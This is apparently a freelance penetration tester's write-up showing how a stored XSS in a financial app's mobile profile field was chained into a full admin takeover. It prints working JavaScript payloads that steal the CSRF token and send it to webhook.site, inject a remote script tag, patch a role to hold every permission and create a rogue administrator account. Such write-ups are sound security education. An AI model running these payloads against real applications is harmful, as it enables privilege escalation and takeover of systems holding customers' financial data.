Pentest: From Customer to Full Application Takeover

13 minute read

Introduction

Welcome everyone! In addition to my regular work, I take on some pentesting projects as a freelancer for various clients. Today, I’m excited to share a particularly interesting bug that started as a seemingly straightforward XSS vulnerability but ultimately led to a full application takeover.

Application Overview

The application in question is a financial solution platform. It includes a web dashboard used by high-privileged users, such as admin, and a mobile application designed for customers. The customers can only perform specific actions like signing up, viewing their personal and financial information, reporting issues, modifying their profiles, and more. The application’s user features are outlined as follows:

Feature Description
all notifications View and manage all notifications generated by the application.
check incomplete applications Review and track applications that are not fully completed.
Edit Profile Allows users to modify their personal profile information within the application.
get Dashboard Access the main dashboard, displaying an overview of important metrics and data.
Read Applications Review and analyze submitted applications.
Submit Application Submit new applications through the platform.
unRead Notifications View notifications that have not been read yet.
update profile Update and save changes to the user’s profile information.

For the admins, they have full access to the application, including control over all users and customers. Unlike customers, users can be created by the admin and assigned specific roles, which limit the privileges of each user. Each role comes with its own set of permissions, and there are over 70 different permissions available in the application. The features available to admins include the following:

Feature Name Description
Dashboard Provides an overview of key metrics and data relevant to the admin’s tasks.
Roles Manage and assign different roles and permissions to users within the system.
Users View, manage, and edit user accounts and their information.
Customers Manage customer profiles and information.
Applications Review, approve, or reject applications submitted by customers.
Generic Keys Manage generic keys used for system operations or integrations.
Generic Key Values Assign and manage values associated with generic keys in the system.
Products Manage the product offerings available in the system.
Sub Products Handle subcategories or variations of main products.
Financing Companies Manage information related to financing companies associated with the system.
Subscription Plans Create, edit, and manage subscription plans available to users.
Schemes Define and manage various schemes available within the system.
Workflow Heads Oversee and manage the heads or leaders of different workflows.
Workflow Define and manage the workflows for different processes within the system.
Eligibility Set and manage criteria for eligibility related to products, services, or schemes.
Advertisements Manage and configure advertisements displayed within the system.
Logs View and analyze system logs for auditing and troubleshooting purposes.
Configurations Manage system configurations and settings.

The application included the following permissions:

Permission Permission Permission Permission
role-list role-create role-edit role-delete
user-list user-create user-edit user-delete
generic-key-list generic-key-create generic-key-edit generic-key-delete
generic-key-value-list generic-key-value-create generic-key-value-edit generic-key-value-delete
configuration-list configuration-create configuration-edit configuration-delete
product-list product-create product-edit product-delete
sub-product-list sub-product-create sub-product-edit sub-product-delete
subscription-plan-list subscription-plan-create subscription-plan-edit subscription-plan-delete
financing-company-list financing-company-create financing-company-edit financing-company-delete
sub-user-list sub-user-create sub-user-edit sub-user-delete
log-list scheme-list scheme-create scheme-edit
scheme-delete eligibility-rule-list eligibility-rule-create eligibility-rule-edit
eligibility-rule-delete advertisement-list advertisement-create advertisement-edit
advertisement-delete application-list workflow-list workflow-create
workflow-edit workflow-delete interface-mapping-list interface-mapping-create
interface-mapping-edit interface-mapping-delete workflow-head-list workflow-head-create
workflow-head-edit workflow-head-delete eligibility-criteria-list eligibility-criteria-create
eligibility-criteria-edit eligibility-criteria-delete third-party-api-list third-party-api-create
third-party-api-edit third-party-api-delete page-list page-create
page-edit page-delete flag-list lead-list
checker      

Features Summary Diagram

  • Admins:

image

  • Customers

image

The Story

XSS Vulnerability

On the mobile application side, when a user changes their username to the following:

image

The request looks like this:

image

Our malicious input, which includes a JavaScript alert, is sent in the request without any filtration on the mobile app side. When this request reaches the admin dashboard, it displays as follows:

image

This indicates that we have a blind XSS vulnerability. The next logical step would be to steal the admin’s cookies and gain access to their account. However, the challenge here is that the cookies are marked as HttpOnly. The HttpOnly attribute is specifically designed to mitigate certain forms of XSS attacks by preventing cookies from being accessed through client-side scripts, as illustrated below:

image

Find Another way

At that point, I decided to set aside the XSS vulnerability and began searching for other potential vulnerabilities that might allow me to access the admin account or perform administrative actions. That’s when I considered the possibility of a CSRF (Cross-Site Request Forgery) vulnerability, especially since the admin has the ability to add new users, which could include another admin. When adding a new user, the process looked like this:

image

The fields shown in the screenshot are the required inputs to add a new user. After intercepting the request in BurpSuite, the request appeared as follows:

POST /app/public/admin/users HTTP/1.1 
Host: application.com
User-Agent: UserAgent
Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.5 
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded 
Content-Length: 156
Origin: http://application.com 
Connection: close
Referer: http://application.com/app/public/admin/users/create 
Cookie: XSRF-TOKEN=eyJp............; session=eyJ......In0&3D

_token=rR8Hp7ewaT8FenxSzfAfqhN9ue5LiFgi13HS76SS&name=Pentester&email=pentest%40pentest.co&password=Pentest123456%23&confirm-password=Pentest123456%23&role=2

Here, I found both good and bad news. The good news was that the admin dashboard wasn’t using a JSON Web Token like the mobile app, making it potentially vulnerable to CSRF attacks. The bad news was the presence of a CSRF token in the _token parameter, which verifies the request’s authenticity. I attempted several common methods to bypass the CSRF token, such as using a random token of the same length, setting the value to NULL or empty, or removing the entire parameter and value. Unfortunately, none of these attempts were successful.

After further investigation, I discovered that the CSRF token is retrieved from a meta tag in the response page, as shown below:

image

This discovery led me back to the XSS vulnerability. Although I couldn’t steal cookies due to the HttpOnly attribute, I realized I could still load JavaScript by exploiting the src attribute within the script tag. By doing so, I could inject a JavaScript code snippet to retrieve the meta tag with name="csrf-token" and extract its content attribute value, which contains the CSRF token.

Give me the Token

To retrieve the CSRF token, I used the following code:

let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
alert(csrfToken);

Here’s how it works: First, I used the document.querySelector method to find a meta tag with the attribute name="csrf-token". The selector 'meta[name="csrf-token"]' specifically targets this tag within the document. Once the meta tag is located, the getAttribute method is called to extract the value of its content attribute, which contains the actual CSRF token. This value is then stored in the csrfToken variable. Finally, the alert function is used to display the value of csrfToken.

image

Seeing that the approach was successful, I proceeded to steal the CSRF token and send it to my server using webhook.site. Here’s the updated code:

let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
let url = "https://webhook.site/hereShouldHaveYourID/";
url += "?token=" + encodeURIComponent(csrfToken);
let i = new Image();
i.src = url;

After retrieving the CSRF token and storing it in the csrfToken variable, I set up the base URL for my webhook site. The CSRF token is then appended as a query parameter to the URL using encodeURIComponent to ensure it’s safely included. Finally, the script creates an image object and sets its src to the constructed URL, triggering a GET request that sends the CSRF token to my server.

image

As shown, I successfully stole the CSRF token using this method.

image

Add New User

After successfully stealing the CSRF token, I considered whether it was worth pursuing the traditional CSRF attack route—injecting the stolen token into a request and sending a CSRF payload to the admin, hoping they would click on it. But why stop there when we can be more creative? Since we can retrieve the CSRF token and inject JavaScript into the admin’s browser, we can take a more direct approach by executing a request directly through the admin’s browser using JavaScript.

Here’s how I updated the code:

let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');

let data = new URLSearchParams();
data.append('_token', csrfToken);
data.append('name', 'Pentester');
data.append('email', 'pentest@pentest.co');
data.append('password', 'Pentest123456#');
data.append('confirm-password', 'Pentest123456#');
data.append('role', '2');

fetch('http://application.com/app/public/admin/users', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: data
})
.then(response => response.text())
.then(data => {
    console.log('Success:', data);
})
.catch((error) => {
    console.error('Error:', error);
});

In this script, after retrieving the CSRF token and storing it in the csrfToken variable, I created a URLSearchParams object to encode and organize the data that will be sent in the request. I appended several key-value pairs, including the CSRF token (_token), a name (Pentester), an email (pentest@pentest.co), a password (Pentest123456#), and a role ID (2), which is unknown in terms of permissions. I then used the fetch API to send a POST request to http://application.com/app/public/admin/users, aiming to add a new user. The results were logged in the console.

To test the payload, I hosted it locally and updated the username to include the following malicious script: '"><script src="http://localhost/exploit.js"></script>. When the admin loaded the page containing this script, the code executed successfully, logging the message in the console and confirming that the new admin user was added.

image

However, there’s a potential limitation: if the role ID I used in the request doesn’t have sufficient permissions, the new admin user may not be able to perform significant actions. This is an issue that needs addressing to ensure the exploit’s effectiveness.

Patch The Role

When we explore all the roles available in the application:

image

We have the option to edit any of these roles. Let’s select a role to edit:

image

From this screen, we can see that editing a role is done through the endpoint /app/public/admin/roles/{id}/edit, where {id} corresponds to the specific role ID. In this interface, we can choose the permissions we want to assign to the role. To better understand how this works, let’s intercept and analyze the request using BurpSuite.

POST /app/public/admin/roles/{roleNumber} HTTP/1.1
Host: application.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [calculated-length]

_method=PATCH&_token=[csrfToken]&name=PoC4Exploit&status=on&permission[]=1&permission[]=2&permission[]=3&permission[]=4&permission[]=11&permission[]=12&permission[]=13&permission[]=14&permission[]=15&permission[]=16&permission[]=17&permission[]=18&permission[]=19&permission[]=20&permission[]=21&permission[]=22&permission[]=23&permission[]=24&permission[]=25&permission[]=26&permission[]=27&permission[]=28&permission[]=29&permission[]=30&permission[]=31&permission[]=32&permission[]=33&permission[]=34&permission[]=35&permission[]=36&permission[]=37&permission[]=38&permission[]=39&permission[]=40&permission[]=41&permission[]=42&permission[]=43&permission[]=44&permission[]=45&permission[]=46&permission[]=47&permission[]=48&permission[]=49&permission[]=50&permission[]=51&permission[]=52&permission[]=53&permission[]=54&permission[]=55&permission[]=56&permission[]=57&permission[]=58&permission[]=59&permission[]=60&permission[]=61&permission[]=65&permission[]=66&permission[]=67&permission[]=68&permission[]=69&permission[]=70&permission[]=71&permission[]=72&permission[]=73&permission[]=74&permission[]=75&permission[]=76&permission[]=77&permission[]=78&permission[]=79&permission[]=80&permission[]=81&permission[]=82&permission[]=83&permission[]=84&permission[]=85&permission[]=86&permission[]=87&permission[]=88&permission[]=89&permission[]=90&permission[]=91

Here’s how the request appears when editing a role and activating all its permissions. Before adding the malicious user, we can strategically edit the role to ensure it has all permissions enabled. After modifying the role, we can then add the user with the modified role ID, granting the new user full access within the application.

Chaining All Together

Now, we still need to verify whether the role ID exists before attempting to edit it. When we send a request to the /app/public/admin/roles/{id}/edit endpoint, if the role ID does not exist, the application responds with a 500 status code. If the response is anything other than 500, it indicates that the role ID exists. The following diagram explains how we will chain all these steps together to update our code:

image

Let’s Update our code:

let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');



function patchRole(roleNumber) {
    let data = new URLSearchParams();
    data.append('_method', 'PATCH');
    data.append('_token', csrfToken);
    data.append('name', 'PoC4Exploit');
    data.append('status', 'on');
    data.append('permission[]', '1');
    data.append('permission[]', '2');
    data.append('permission[]', '3');
    data.append('permission[]', '4');
    data.append('permission[]', '11');
    data.append('permission[]', '12');
    data.append('permission[]', '13');
    data.append('permission[]', '14');
    data.append('permission[]', '15');
    data.append('permission[]', '16');
    data.append('permission[]', '17');
    data.append('permission[]', '18');
    data.append('permission[]', '19');
    data.append('permission[]', '20');
    data.append('permission[]', '21');
    data.append('permission[]', '22');
    data.append('permission[]', '23');
    data.append('permission[]', '24');
    data.append('permission[]', '25');
    data.append('permission[]', '26');
    data.append('permission[]', '27');
    data.append('permission[]', '28');
    data.append('permission[]', '29');
    data.append('permission[]', '30');
    data.append('permission[]', '31');
    data.append('permission[]', '32');
    data.append('permission[]', '33');
    data.append('permission[]', '34');
    data.append('permission[]', '35');
    data.append('permission[]', '36');
    data.append('permission[]', '37');
    data.append('permission[]', '38');
    data.append('permission[]', '39');
    data.append('permission[]', '40');
    data.append('permission[]', '41');
    data.append('permission[]', '42');
    data.append('permission[]', '43');
    data.append('permission[]', '44');
    data.append('permission[]', '45');
    data.append('permission[]', '46');
    data.append('permission[]', '47');
    data.append('permission[]', '48');
    data.append('permission[]', '49');
    data.append('permission[]', '50');
    data.append('permission[]', '51');
    data.append('permission[]', '52');
    data.append('permission[]', '53');
    data.append('permission[]', '54');
    data.append('permission[]', '55');
    data.append('permission[]', '56');
    data.append('permission[]', '57');
    data.append('permission[]', '58');
    data.append('permission[]', '59');
    data.append('permission[]', '60');
    data.append('permission[]', '61');
    data.append('permission[]', '65');
    data.append('permission[]', '66');
    data.append('permission[]', '67');
    data.append('permission[]', '68');
    data.append('permission[]', '69');
    data.append('permission[]', '70');
    data.append('permission[]', '71');
    data.append('permission[]', '72');
    data.append('permission[]', '73');
    data.append('permission[]', '74');
    data.append('permission[]', '75');
    data.append('permission[]', '76');
    data.append('permission[]', '77');
    data.append('permission[]', '78');
    data.append('permission[]', '79');
    data.append('permission[]', '80');
    data.append('permission[]', '81');
    data.append('permission[]', '82');
    data.append('permission[]', '83');
    data.append('permission[]', '84');
    data.append('permission[]', '85');
    data.append('permission[]', '86');
    data.append('permission[]', '87');
    data.append('permission[]', '88');
    data.append('permission[]', '89');
    data.append('permission[]', '90');
    data.append('permission[]', '91');
    console.log(`Patching Role ${roleNumber}`);
    return fetch(`http://application.com/app/public/admin/roles/${roleNumber}`, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: data
    });
}



function postData(roleNumber) {
    let data = new URLSearchParams();
    data.append('_token', csrfToken);
    data.append('name', 'CustomerTakeover');
    data.append('email', 'CustomerTakeover@pentest.co');
    data.append('password', 'CustomerTakeover123456#');
    data.append('confirm-password', 'CustomerTakeover123456#');
    data.append('role', roleNumber.toString());

    return fetch('http://application.com/app/public/admin/users', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: data
    });
}



function findRole(i, max) {
    if (i > max) {
        console.error("Role not found up to number:", max);
        return;
    }

    fetch(`http://application.com/app/public/admin/roles/${i}/edit`)
        .then(response => {
            if (response.status !== 500) {
                console.log(`Role number found: ${i}`);
                return patchRole(i)
                    .then(() => postData(i))
                    .then(response => response.text())
                    .then(data => {
                        console.log('User Creation Success:', data);
                    });
            } else {
                console.log(`Role ${i} responded with 500. Trying next role.`);
                findRole(i + 1, max);
            }
        })
        .catch(error => {
            console.error('Error:', error);
        });
}



findRole(1, 10);

Here I grab the CSRF token from the meta tag, which I store in the csrfToken variable. Then define the findRole function, where I iterate through potential role numbers. I start by sending GET requests to the role edit endpoint, beginning with role number 1 and incrementing up to 10. The function checks if each role exists by evaluating the server’s response: if the response status is anything other than 500, it indicates that the role is a valid role. then, the function triggers patchRole to escalate permissions by modifying the identified role. Once the role has been successfully patched, It will add our new user admin.

Testing the exploit

  • Finding & Patching role

image

  • Add the new admin user

image

image

Now, I can control all the application including everyting related to the busniess and the system.

Conclusion

In this exploit, I leveraged a combination of an XSS vulnerability and CSRF token retrieval to achieve a full application takeover, starting from what appeared to be a simple XSS issue. By first identifying that the application was using an HttpOnly flag on cookies, I bypassed the limitation by focusing on obtaining the CSRF token directly from the meta tag using JavaScript injected via XSS. With the token in hand, I could have constructed a CSRF attack, but instead, I opted for a more direct approach by using the stolen token to execute actions directly through the admin’s browser, including modifying user roles and creating a new administrator account. This method allowed me to patch an existing role with full permissions and then create a new user associated with that role, ensuring the user had elevated access. By chaining these vulnerabilities together XSS, CSRF token retrieval, role modification, and user creation, I was able to demonstrate how a seemingly low-risk vulnerability could be escalated to gain complete control over the application.